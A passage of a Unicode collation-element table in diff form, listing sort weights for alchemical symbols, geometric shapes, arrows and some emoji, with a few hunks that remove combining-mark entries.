VINEGAR OF ANTIMONY +1F730 ; [*16A2.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS OF ANTIMONY +1F731 ; [*16A3.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS OF ANTIMONY-2 +1F732 ; [*16A4.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS +1F733 ; [*16A5.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS-2 +1F734 ; [*16A6.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS-3 +1F735 ; [*16A7.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS-4 +1F736 ; [*16A8.0020.0002] # ALCHEMICAL SYMBOL FOR ALKALI +1F737 ; [*16A9.0020.0002] # ALCHEMICAL SYMBOL FOR ALKALI-2 +1F738 ; [*16AA.0020.0002] # ALCHEMICAL SYMBOL FOR MARCASITE +1F739 ; [*16AB.0020.0002] # ALCHEMICAL SYMBOL FOR SAL-AMMONIAC +1F73A ; [*16AC.0020.0002] # ALCHEMICAL SYMBOL FOR ARSENIC +1F73B ; [*16AD.0020.0002] # ALCHEMICAL SYMBOL FOR REALGAR +1F73C ; [*16AE.0020.0002] # ALCHEMICAL SYMBOL FOR REALGAR-2 +1F73D ; [*16AF.0020.0002] # ALCHEMICAL SYMBOL FOR AURIPIGMENT +1F73E ; [*16B0.0020.0002] # ALCHEMICAL SYMBOL FOR BISMUTH ORE +1F73F ; [*16B1.0020.0002] # ALCHEMICAL SYMBOL FOR TARTAR +1F740 ; [*16B2.0020.0002] # ALCHEMICAL SYMBOL FOR TARTAR-2 +1F741 ; [*16B3.0020.0002] # ALCHEMICAL SYMBOL FOR QUICK LIME +1F742 ; [*16B4.0020.0002] # ALCHEMICAL SYMBOL FOR BORAX +1F743 ; [*16B5.0020.0002] # ALCHEMICAL SYMBOL FOR BORAX-2 +1F744 ; [*16B6.0020.0002] # ALCHEMICAL SYMBOL FOR BORAX-3 +1F745 ; [*16B7.0020.0002] # ALCHEMICAL SYMBOL FOR ALUM +1F746 ; [*16B8.0020.0002] # ALCHEMICAL SYMBOL FOR OIL +1F747 ; [*16B9.0020.0002] # ALCHEMICAL SYMBOL FOR SPIRIT +1F748 ; [*16BA.0020.0002] # ALCHEMICAL SYMBOL FOR TINCTURE +1F749 ; [*16BB.0020.0002] # ALCHEMICAL SYMBOL FOR GUM +1F74A ; [*16BC.0020.0002] # ALCHEMICAL SYMBOL FOR WAX +1F74B ; [*16BD.0020.0002] # ALCHEMICAL SYMBOL FOR POWDER +1F74C ; [*16BE.0020.0002] # ALCHEMICAL SYMBOL FOR CALX +1F74D ; [*16BF.0020.0002] # ALCHEMICAL SYMBOL FOR TUTTY +1F74E ; [*16C0.0020.0002] # ALCHEMICAL SYMBOL FOR CAPUT MORTUUM +1F74F ; [*16C1.0020.0002] # ALCHEMICAL SYMBOL FOR SCEPTER OF JOVE +1F750 ; [*16C2.0020.0002] # ALCHEMICAL SYMBOL FOR CADUCEUS +1F751 ; [*16C3.0020.0002] # ALCHEMICAL SYMBOL FOR TRIDENT +1F752 ; [*16C4.0020.0002] # ALCHEMICAL SYMBOL FOR STARRED TRIDENT +1F753 ; [*16C5.0020.0002] # ALCHEMICAL SYMBOL FOR LODESTONE +1F754 ; [*16C6.0020.0002] # ALCHEMICAL SYMBOL FOR SOAP +1F755 ; [*16C7.0020.0002] # ALCHEMICAL SYMBOL FOR URINE +1F756 ; [*16C8.0020.0002] # ALCHEMICAL SYMBOL FOR HORSE DUNG +1F757 ; [*16C9.0020.0002] # ALCHEMICAL SYMBOL FOR ASHES +1F758 ; [*16CA.0020.0002] # ALCHEMICAL SYMBOL FOR POT ASHES +1F759 ; [*16CB.0020.0002] # ALCHEMICAL SYMBOL FOR BRICK +1F75A ; [*16CC.0020.0002] # ALCHEMICAL SYMBOL FOR POWDERED BRICK +1F75B ; [*16CD.0020.0002] # ALCHEMICAL SYMBOL FOR AMALGAM +1F75C ; [*16CE.0020.0002] # ALCHEMICAL SYMBOL FOR STRATUM SUPER STRATUM +1F75D ; [*16CF.0020.0002] # ALCHEMICAL SYMBOL FOR STRATUM SUPER STRATUM-2 +1F75E ; [*16D0.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATION +1F75F ; [*16D1.0020.0002] # ALCHEMICAL SYMBOL FOR PRECIPITATE +1F760 ; [*16D2.0020.0002] # ALCHEMICAL SYMBOL FOR DISTILL +1F761 ; [*16D3.0020.0002] # ALCHEMICAL SYMBOL FOR DISSOLVE +1F762 ; [*16D4.0020.0002] # ALCHEMICAL SYMBOL FOR DISSOLVE-2 +1F763 ; [*16D5.0020.0002] # ALCHEMICAL SYMBOL FOR PURIFY +1F764 ; [*16D6.0020.0002] # ALCHEMICAL SYMBOL FOR PUTREFACTION +1F765 ; [*16D7.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE +1F766 ; [*16D8.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-2 +1F767 ; [*16D9.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-3 +1F768 ; [*16DA.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-4 +1F769 ; [*16DB.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-5 +1F76A ; [*16DC.0020.0002] # ALCHEMICAL SYMBOL FOR ALEMBIC +1F76B ; [*16DD.0020.0002] # ALCHEMICAL SYMBOL FOR BATH OF MARY +1F76C ; [*16DE.0020.0002] # ALCHEMICAL SYMBOL FOR BATH OF VAPOURS +1F76D ; [*16DF.0020.0002] # ALCHEMICAL SYMBOL FOR RETORT +1F76E ; [*16E0.0020.0002] # ALCHEMICAL SYMBOL FOR HOUR +1F76F ; [*16E1.0020.0002] # ALCHEMICAL SYMBOL FOR NIGHT +1F770 ; [*16E2.0020.0002] # ALCHEMICAL SYMBOL FOR DAY-NIGHT +1F771 ; [*16E3.0020.0002] # ALCHEMICAL SYMBOL FOR MONTH +1F772 ; [*16E4.0020.0002] # ALCHEMICAL SYMBOL FOR HALF DRAM +1F773 ; [*16E5.0020.0002] # ALCHEMICAL SYMBOL FOR HALF OUNCE +1F780 ; [*16E6.0020.0002] # BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE +1F781 ; [*16E7.0020.0002] # BLACK UP-POINTING ISOSCELES RIGHT TRIANGLE +1F782 ; [*16E8.0020.0002] # BLACK RIGHT-POINTING ISOSCELES RIGHT TRIANGLE +1F783 ; [*16E9.0020.0002] # BLACK DOWN-POINTING ISOSCELES RIGHT TRIANGLE +1F784 ; [*16EA.0020.0002] # BLACK SLIGHTLY SMALL CIRCLE +1F785 ; [*16EB.0020.0002] # MEDIUM BOLD WHITE CIRCLE +1F786 ; [*16EC.0020.0002] # BOLD WHITE CIRCLE +1F787 ; [*16ED.0020.0002] # HEAVY WHITE CIRCLE +1F788 ; [*16EE.0020.0002] # VERY HEAVY WHITE CIRCLE +1F789 ; [*16EF.0020.0002] # EXTREMELY HEAVY WHITE CIRCLE +1F78A ; [*16F0.0020.0002] # WHITE CIRCLE CONTAINING BLACK SMALL CIRCLE +1F78B ; [*16F1.0020.0002] # ROUND TARGET +1F78C ; [*16F2.0020.0002] # BLACK TINY SQUARE +1F78D ; [*16F3.0020.0002] # BLACK SLIGHTLY SMALL SQUARE +1F78E ; [*16F4.0020.0002] # LIGHT WHITE SQUARE +1F78F ; [*16F5.0020.0002] # MEDIUM WHITE SQUARE +1F790 ; [*16F6.0020.0002] # BOLD WHITE SQUARE +1F791 ; [*16F7.0020.0002] # HEAVY WHITE SQUARE +1F792 ; [*16F8.0020.0002] # VERY HEAVY WHITE SQUARE +1F793 ; [*16F9.0020.0002] # EXTREMELY HEAVY WHITE SQUARE +1F794 ; [*16FA.0020.0002] # WHITE SQUARE CONTAINING BLACK VERY SMALL SQUARE +1F795 ; [*16FB.0020.0002] # WHITE SQUARE CONTAINING BLACK MEDIUM SQUARE +1F796 ; [*16FC.0020.0002] # SQUARE TARGET +1F797 ; [*16FD.0020.0002] # BLACK TINY DIAMOND +1F798 ; [*16FE.0020.0002] # BLACK VERY SMALL DIAMOND +1F799 ; [*16FF.0020.0002] # BLACK MEDIUM SMALL DIAMOND +1F79A ; [*1700.0020.0002] # WHITE DIAMOND CONTAINING BLACK VERY SMALL DIAMOND +1F79B ; [*1701.0020.0002] # WHITE DIAMOND CONTAINING BLACK MEDIUM DIAMOND +1F79C ; [*1702.0020.0002] # DIAMOND TARGET +1F79D ; [*1703.0020.0002] # BLACK TINY LOZENGE +1F79E ; [*1704.0020.0002] # BLACK VERY SMALL LOZENGE +1F79F ; [*1705.0020.0002] # BLACK MEDIUM SMALL LOZENGE +1F7A0 ; [*1706.0020.0002] # WHITE LOZENGE CONTAINING BLACK SMALL LOZENGE +1F7A1 ; [*1707.0020.0002] # THIN GREEK CROSS +1F7A2 ; [*1708.0020.0002] # LIGHT GREEK CROSS +1F7A3 ; [*1709.0020.0002] # MEDIUM GREEK CROSS +1F7A4 ; [*170A.0020.0002] # BOLD GREEK CROSS +1F7A5 ; [*170B.0020.0002] # VERY BOLD GREEK CROSS +1F7A6 ; [*170C.0020.0002] # VERY HEAVY GREEK CROSS +1F7A7 ; [*170D.0020.0002] # EXTREMELY HEAVY GREEK CROSS +1F7A8 ; [*170E.0020.0002] # THIN SALTIRE +1F7A9 ; [*170F.0020.0002] # LIGHT SALTIRE +1F7AA ; [*1710.0020.0002] # MEDIUM SALTIRE +1F7AB ; [*1711.0020.0002] # BOLD SALTIRE +1F7AC ; [*1712.0020.0002] # HEAVY SALTIRE +1F7AD ; [*1713.0020.0002] # VERY HEAVY SALTIRE +1F7AE ; [*1714.0020.0002] # EXTREMELY HEAVY SALTIRE +1F7AF ; [*1715.0020.0002] # LIGHT FIVE SPOKED ASTERISK +1F7B0 ; [*1716.0020.0002] # MEDIUM FIVE SPOKED ASTERISK +1F7B1 ; [*1717.0020.0002] # BOLD FIVE SPOKED ASTERISK +1F7B2 ; [*1718.0020.0002] # HEAVY FIVE SPOKED ASTERISK +1F7B3 ; [*1719.0020.0002] # VERY HEAVY FIVE SPOKED ASTERISK +1F7B4 ; [*171A.0020.0002] # EXTREMELY HEAVY FIVE SPOKED ASTERISK +1F7B5 ; [*171B.0020.0002] # LIGHT SIX SPOKED ASTERISK +1F7B6 ; [*171C.0020.0002] # MEDIUM SIX SPOKED ASTERISK +1F7B7 ; [*171D.0020.0002] # BOLD SIX SPOKED ASTERISK +1F7B8 ; [*171E.0020.0002] # HEAVY SIX SPOKED ASTERISK +1F7B9 ; [*171F.0020.0002] # VERY HEAVY SIX SPOKED ASTERISK +1F7BA ; [*1720.0020.0002] # EXTREMELY HEAVY SIX SPOKED ASTERISK +1F7BB ; [*1721.0020.0002] # LIGHT EIGHT SPOKED ASTERISK +1F7BC ; [*1722.0020.0002] # MEDIUM EIGHT SPOKED ASTERISK +1F7BD ; [*1723.0020.0002] # BOLD EIGHT SPOKED ASTERISK +1F7BE ; [*1724.0020.0002] # HEAVY EIGHT SPOKED ASTERISK +1F7BF ; [*1725.0020.0002] # VERY HEAVY EIGHT SPOKED ASTERISK +1F7C0 ; [*1726.0020.0002] # LIGHT THREE POINTED BLACK STAR +1F7C1 ; [*1727.0020.0002] # MEDIUM THREE POINTED BLACK STAR +1F7C2 ; [*1728.0020.0002] # THREE POINTED BLACK STAR +1F7C3 ; [*1729.0020.0002] # MEDIUM THREE POINTED PINWHEEL STAR +1F7C4 ; [*172A.0020.0002] # LIGHT FOUR POINTED BLACK STAR +1F7C5 ; [*172B.0020.0002] # MEDIUM FOUR POINTED BLACK STAR +1F7C6 ; [*172C.0020.0002] # FOUR POINTED BLACK STAR +1F7C7 ; [*172D.0020.0002] # MEDIUM FOUR POINTED PINWHEEL STAR +1F7C8 ; [*172E.0020.0002] # REVERSE LIGHT FOUR POINTED PINWHEEL STAR +1F7C9 ; [*172F.0020.0002] # LIGHT FIVE POINTED BLACK STAR +1F7CA ; [*1730.0020.0002] # HEAVY FIVE POINTED BLACK STAR +1F7CB ; [*1731.0020.0002] # MEDIUM SIX POINTED BLACK STAR +1F7CC ; [*1732.0020.0002] # HEAVY SIX POINTED BLACK STAR +1F7CD ; [*1733.0020.0002] # SIX POINTED PINWHEEL STAR +1F7CE ; [*1734.0020.0002] # MEDIUM EIGHT POINTED BLACK STAR +1F7CF ; [*1735.0020.0002] # HEAVY EIGHT POINTED BLACK STAR +1F7D0 ; [*1736.0020.0002] # VERY HEAVY EIGHT POINTED BLACK STAR +1F7D1 ; [*1737.0020.0002] # HEAVY EIGHT POINTED PINWHEEL STAR +1F7D2 ; [*1738.0020.0002] # LIGHT TWELVE POINTED BLACK STAR +1F7D3 ; [*1739.0020.0002] # HEAVY TWELVE POINTED BLACK STAR +1F7D4 ; [*173A.0020.0002] # HEAVY TWELVE POINTED PINWHEEL STAR +1F800 ; [*173B.0020.0002] # LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD +1F801 ; [*173C.0020.0002] # UPWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD +1F802 ; [*173D.0020.0002] # RIGHTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD +1F803 ; [*173E.0020.0002] # DOWNWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD +1F804 ; [*173F.0020.0002] # LEFTWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD +1F805 ; [*1740.0020.0002] # UPWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD +1F806 ; [*1741.0020.0002] # RIGHTWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD +1F807 ; [*1742.0020.0002] # DOWNWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD +1F808 ; [*1743.0020.0002] # LEFTWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD +1F809 ; [*1744.0020.0002] # UPWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD +1F80A ; [*1745.0020.0002] # RIGHTWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD +1F80B ; [*1746.0020.0002] # DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD +1F810 ; [*1747.0020.0002] # LEFTWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD +1F811 ; [*1748.0020.0002] # UPWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD +1F812 ; [*1749.0020.0002] # RIGHTWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD +1F813 ; [*174A.0020.0002] # DOWNWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD +1F814 ; [*174B.0020.0002] # LEFTWARDS ARROW WITH EQUILATERAL ARROWHEAD +1F815 ; [*174C.0020.0002] # UPWARDS ARROW WITH EQUILATERAL ARROWHEAD +1F816 ; [*174D.0020.0002] # RIGHTWARDS ARROW WITH EQUILATERAL ARROWHEAD +1F817 ; [*174E.0020.0002] # DOWNWARDS ARROW WITH EQUILATERAL ARROWHEAD +1F818 ; [*174F.0020.0002] # HEAVY LEFTWARDS ARROW WITH EQUILATERAL ARROWHEAD +1F819 ; [*1750.0020.0002] # HEAVY UPWARDS ARROW WITH EQUILATERAL ARROWHEAD +1F81A ; [*1751.0020.0002] # HEAVY RIGHTWARDS ARROW WITH EQUILATERAL ARROWHEAD +1F81B ; [*1752.0020.0002] # HEAVY DOWNWARDS ARROW WITH EQUILATERAL ARROWHEAD +1F81C ; [*1753.0020.0002] # HEAVY LEFTWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD +1F81D ; [*1754.0020.0002] # HEAVY UPWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD +1F81E ; [*1755.0020.0002] # HEAVY RIGHTWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD +1F81F ; [*1756.0020.0002] # HEAVY DOWNWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD +1F820 ; [*1757.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT +1F821 ; [*1758.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT +1F822 ; [*1759.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT +1F823 ; [*175A.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT +1F824 ; [*175B.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT +1F825 ; [*175C.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT +1F826 ; [*175D.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT +1F827 ; [*175E.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT +1F828 ; [*175F.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT +1F829 ; [*1760.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT +1F82A ; [*1761.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT +1F82B ; [*1762.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT +1F82C ; [*1763.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT +1F82D ; [*1764.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT +1F82E ; [*1765.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT +1F82F ; [*1766.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT +1F830 ; [*1767.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT +1F831 ; [*1768.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT +1F832 ; [*1769.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT +1F833 ; [*176A.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT +1F834 ; [*176B.0020.0002] # LEFTWARDS FINGER-POST ARROW +1F835 ; [*176C.0020.0002] # UPWARDS FINGER-POST ARROW +1F836 ; [*176D.0020.0002] # RIGHTWARDS FINGER-POST ARROW +1F837 ; [*176E.0020.0002] # DOWNWARDS FINGER-POST ARROW +1F838 ; [*176F.0020.0002] # LEFTWARDS SQUARED ARROW +1F839 ; [*1770.0020.0002] # UPWARDS SQUARED ARROW +1F83A ; [*1771.0020.0002] # RIGHTWARDS SQUARED ARROW +1F83B ; [*1772.0020.0002] # DOWNWARDS SQUARED ARROW +1F83C ; [*1773.0020.0002] # LEFTWARDS COMPRESSED ARROW +1F83D ; [*1774.0020.0002] # UPWARDS COMPRESSED ARROW +1F83E ; [*1775.0020.0002] # RIGHTWARDS COMPRESSED ARROW +1F83F ; [*1776.0020.0002] # DOWNWARDS COMPRESSED ARROW +1F840 ; [*1777.0020.0002] # LEFTWARDS HEAVY COMPRESSED ARROW +1F841 ; [*1778.0020.0002] # UPWARDS HEAVY COMPRESSED ARROW +1F842 ; [*1779.0020.0002] # RIGHTWARDS HEAVY COMPRESSED ARROW +1F843 ; [*177A.0020.0002] # DOWNWARDS HEAVY COMPRESSED ARROW +1F844 ; [*177B.0020.0002] # LEFTWARDS HEAVY ARROW +1F845 ; [*177C.0020.0002] # UPWARDS HEAVY ARROW +1F846 ; [*177D.0020.0002] # RIGHTWARDS HEAVY ARROW +1F847 ; [*177E.0020.0002] # DOWNWARDS HEAVY ARROW +1F850 ; [*177F.0020.0002] # LEFTWARDS SANS-SERIF ARROW +1F851 ; [*1780.0020.0002] # UPWARDS SANS-SERIF ARROW +1F852 ; [*1781.0020.0002] # RIGHTWARDS SANS-SERIF ARROW +1F853 ; [*1782.0020.0002] # DOWNWARDS SANS-SERIF ARROW +1F854 ; [*1783.0020.0002] # NORTH WEST SANS-SERIF ARROW +1F855 ; [*1784.0020.0002] # NORTH EAST SANS-SERIF ARROW +1F856 ; [*1785.0020.0002] # SOUTH EAST SANS-SERIF ARROW +1F857 ; [*1786.0020.0002] # SOUTH WEST SANS-SERIF ARROW +1F858 ; [*1787.0020.0002] # LEFT RIGHT SANS-SERIF ARROW +1F859 ; [*1788.0020.0002] # UP DOWN SANS-SERIF ARROW +1F860 ; [*1789.0020.0002] # WIDE-HEADED LEFTWARDS LIGHT BARB ARROW +1F861 ; [*178A.0020.0002] # WIDE-HEADED UPWARDS LIGHT BARB ARROW +1F862 ; [*178B.0020.0002] # WIDE-HEADED RIGHTWARDS LIGHT BARB ARROW +1F863 ; [*178C.0020.0002] # WIDE-HEADED DOWNWARDS LIGHT BARB ARROW +1F864 ; [*178D.0020.0002] # WIDE-HEADED NORTH WEST LIGHT BARB ARROW +1F865 ; [*178E.0020.0002] # WIDE-HEADED NORTH EAST LIGHT BARB ARROW +1F866 ; [*178F.0020.0002] # WIDE-HEADED SOUTH EAST LIGHT BARB ARROW +1F867 ; [*1790.0020.0002] # WIDE-HEADED SOUTH WEST LIGHT BARB ARROW +1F868 ; [*1791.0020.0002] # WIDE-HEADED LEFTWARDS BARB ARROW +1F869 ; [*1792.0020.0002] # WIDE-HEADED UPWARDS BARB ARROW +1F86A ; [*1793.0020.0002] # WIDE-HEADED RIGHTWARDS BARB ARROW +1F86B ; [*1794.0020.0002] # WIDE-HEADED DOWNWARDS BARB ARROW +1F86C ; [*1795.0020.0002] # WIDE-HEADED NORTH WEST BARB ARROW +1F86D ; [*1796.0020.0002] # WIDE-HEADED NORTH EAST BARB ARROW +1F86E ; [*1797.0020.0002] # WIDE-HEADED SOUTH EAST BARB ARROW +1F86F ; [*1798.0020.0002] # WIDE-HEADED SOUTH WEST BARB ARROW +1F870 ; [*1799.0020.0002] # WIDE-HEADED LEFTWARDS MEDIUM BARB ARROW +1F871 ; [*179A.0020.0002] # WIDE-HEADED UPWARDS MEDIUM BARB ARROW +1F872 ; [*179B.0020.0002] # WIDE-HEADED RIGHTWARDS MEDIUM BARB ARROW +1F873 ; [*179C.0020.0002] # WIDE-HEADED DOWNWARDS MEDIUM BARB ARROW +1F874 ; [*179D.0020.0002] # WIDE-HEADED NORTH WEST MEDIUM BARB ARROW +1F875 ; [*179E.0020.0002] # WIDE-HEADED NORTH EAST MEDIUM BARB ARROW +1F876 ; [*179F.0020.0002] # WIDE-HEADED SOUTH EAST MEDIUM BARB ARROW +1F877 ; [*17A0.0020.0002] # WIDE-HEADED SOUTH WEST MEDIUM BARB ARROW +1F878 ; [*17A1.0020.0002] # WIDE-HEADED LEFTWARDS HEAVY BARB ARROW +1F879 ; [*17A2.0020.0002] # WIDE-HEADED UPWARDS HEAVY BARB ARROW +1F87A ; [*17A3.0020.0002] # WIDE-HEADED RIGHTWARDS HEAVY BARB ARROW +1F87B ; [*17A4.0020.0002] # WIDE-HEADED DOWNWARDS HEAVY BARB ARROW +1F87C ; [*17A5.0020.0002] # WIDE-HEADED NORTH WEST HEAVY BARB ARROW +1F87D ; [*17A6.0020.0002] # WIDE-HEADED NORTH EAST HEAVY BARB ARROW +1F87E ; [*17A7.0020.0002] # WIDE-HEADED SOUTH EAST HEAVY BARB ARROW +1F87F ; [*17A8.0020.0002] # WIDE-HEADED SOUTH WEST HEAVY BARB ARROW +1F880 ; [*17A9.0020.0002] # WIDE-HEADED LEFTWARDS VERY HEAVY BARB ARROW +1F881 ; [*17AA.0020.0002] # WIDE-HEADED UPWARDS VERY HEAVY BARB ARROW +1F882 ; [*17AB.0020.0002] # WIDE-HEADED RIGHTWARDS VERY HEAVY BARB ARROW +1F883 ; [*17AC.0020.0002] # WIDE-HEADED DOWNWARDS VERY HEAVY BARB ARROW +1F884 ; [*17AD.0020.0002] # WIDE-HEADED NORTH WEST VERY HEAVY BARB ARROW +1F885 ; [*17AE.0020.0002] # WIDE-HEADED NORTH EAST VERY HEAVY BARB ARROW +1F886 ; [*17AF.0020.0002] # WIDE-HEADED SOUTH EAST VERY HEAVY BARB ARROW +1F887 ; [*17B0.0020.0002] # WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW +1F890 ; [*17B1.0020.0002] # LEFTWARDS TRIANGLE ARROWHEAD +1F891 ; [*17B2.0020.0002] # UPWARDS TRIANGLE ARROWHEAD +1F892 ; [*17B3.0020.0002] # RIGHTWARDS TRIANGLE ARROWHEAD +1F893 ; [*17B4.0020.0002] # DOWNWARDS TRIANGLE ARROWHEAD +1F894 ; [*17B5.0020.0002] # LEFTWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD +1F895 ; [*17B6.0020.0002] # UPWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD +1F896 ; [*17B7.0020.0002] # RIGHTWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD +1F897 ; [*17B8.0020.0002] # DOWNWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD +1F898 ; [*17B9.0020.0002] # LEFTWARDS ARROW WITH NOTCHED TAIL +1F899 ; [*17BA.0020.0002] # UPWARDS ARROW WITH NOTCHED TAIL +1F89A ; [*17BB.0020.0002] # RIGHTWARDS ARROW WITH NOTCHED TAIL +1F89B ; [*17BC.0020.0002] # DOWNWARDS ARROW WITH NOTCHED TAIL +1F89C ; [*17BD.0020.0002] # HEAVY ARROW SHAFT WIDTH ONE +1F89D ; [*17BE.0020.0002] # HEAVY ARROW SHAFT WIDTH TWO THIRDS +1F89E ; [*17BF.0020.0002] # HEAVY ARROW SHAFT WIDTH ONE HALF +1F89F ; [*17C0.0020.0002] # HEAVY ARROW SHAFT WIDTH ONE THIRD +1F8A0 ; [*17C1.0020.0002] # LEFTWARDS BOTTOM-SHADED WHITE ARROW +1F8A1 ; [*17C2.0020.0002] # RIGHTWARDS BOTTOM SHADED WHITE ARROW +1F8A2 ; [*17C3.0020.0002] # LEFTWARDS TOP SHADED WHITE ARROW +1F8A3 ; [*17C4.0020.0002] # RIGHTWARDS TOP SHADED WHITE ARROW +1F8A4 ; [*17C5.0020.0002] # LEFTWARDS LEFT-SHADED WHITE ARROW +1F8A5 ; [*17C6.0020.0002] # RIGHTWARDS RIGHT-SHADED WHITE ARROW +1F8A6 ; [*17C7.0020.0002] # LEFTWARDS RIGHT-SHADED WHITE ARROW +1F8A7 ; [*17C8.0020.0002] # RIGHTWARDS LEFT-SHADED WHITE ARROW +1F8A8 ; [*17C9.0020.0002] # LEFTWARDS BACK-TILTED SHADOWED WHITE ARROW +1F8A9 ; [*17CA.0020.0002] # RIGHTWARDS BACK-TILTED SHADOWED WHITE ARROW +1F8AA ; [*17CB.0020.0002] # LEFTWARDS FRONT-TILTED SHADOWED WHITE ARROW +1F8AB ; [*17CC.0020.0002] # RIGHTWARDS FRONT-TILTED SHADOWED WHITE ARROW +1F8AC ; [*17CD.0020.0002] # WHITE ARROW SHAFT WIDTH ONE +1F8AD ; [*17CE.0020.0002] # WHITE ARROW SHAFT WIDTH TWO THIRDS +1F910 ; [*1581.0020.0002] # ZIPPER-MOUTH FACE +1F911 ; [*1582.0020.0002] # MONEY-MOUTH FACE +1F912 ; [*1583.0020.0002] # FACE WITH THERMOMETER +1F913 ; [*1584.0020.0002] # NERD FACE +1F914 ; [*1585.0020.0002] # THINKING FACE +1F915 ; [*1586.0020.0002] # FACE WITH HEAD-BANDAGE +1F916 ; [*1587.0020.0002] # ROBOT FACE +1F917 ; [*1588.0020.0002] # HUGGING FACE +1F918 ; [*1589.0020.0002] # SIGN OF THE HORNS +1F980 ; [*158A.0020.0002] # CRAB +1F981 ; [*158B.0020.0002] # LION FACE +1F982 ; [*158C.0020.0002] # SCORPION +1F983 ; [*158D.0020.0002] # TURKEY +1F984 ; [*158E.0020.0002] # UNICORN FACE +1F9C0 ; [*158F.0020.0002] # CHEESE WEDGE 0332 ; [.0000.0021.0002] # COMBINING LOW LINE 0313 ; [.0000.0022.0002] # COMBINING COMMA ABOVE 0343 ; [.0000.0022.0002] # COMBINING GREEK KORONIS @@ -7832,7 +7684,6 @@ FFFC ; [*1A95.0020.0002] # OBJECT REPLACEMENT CHARACTER 1DCE ; [.0000.0033.0002] # COMBINING OGONEK ABOVE 1DD1 ; [.0000.0033.0002] # COMBINING UR ABOVE 1DF5 ; [.0000.0033.0002] # COMBINING UP TACK ABOVE -1DFB ; [.0000.0033.0002] # COMBINING DELETION MARK 1DFE ; [.0000.0033.0002] # COMBINING LEFT ARROWHEAD ABOVE 20F0 ; [.0000.0033.0002] # COMBINING ASTERISK ABOVE 2CEF ; [.0000.0033.0002] # COPTIC COMBINING NI ABOVE @@ -8028,7 +7879,6 @@ FE7D ; [.0000.0080.0018] # ARABIC SHADDA MEDIAL FORM FE7C ; [.0000.0080.001A] # ARABIC SHADDA ISOLATED FORM FC63 ; [.0000.0080.001A][.0000.0098.001A] # ARABIC LIGATURE SHADDA WITH SUPERSCRIPT ALEF ISOLATED FORM 0652 ; [.0000.0081.0002] # ARABIC SUKUN -1123E ; [.0000.0081.0002] # KHOJKI SIGN SUKUN FE7F ; [.0000.0081.0018] # ARABIC SUKUN MEDIAL FORM FE7E ; [.0000.0081.001A] # ARABIC SUKUN ISOLATED FORM 0653 ; [.0000.0082.0002] # ARABIC MADDAH ABOVE @@ -8090,21112 +7940,20642 @@ A6F1 ; [.0000.00B7.0002] # BAMUM COMBINING MARK TUKWENTIS 16AF2 ; [.0000.00BA.0002] # BASSA VAH COMBINING MID TONE 16AF3 ; [.0000.00BB.0002] # BASSA VAH COMBINING LOW-MID TONE 16AF4 ; [.0000.00BC.0002] # BASSA VAH COMBINING HIGH-LOW TONE -1E944 ; [.0000.00BD.0002] # ADLAM ALIF LENGTHENER -1E945 ; 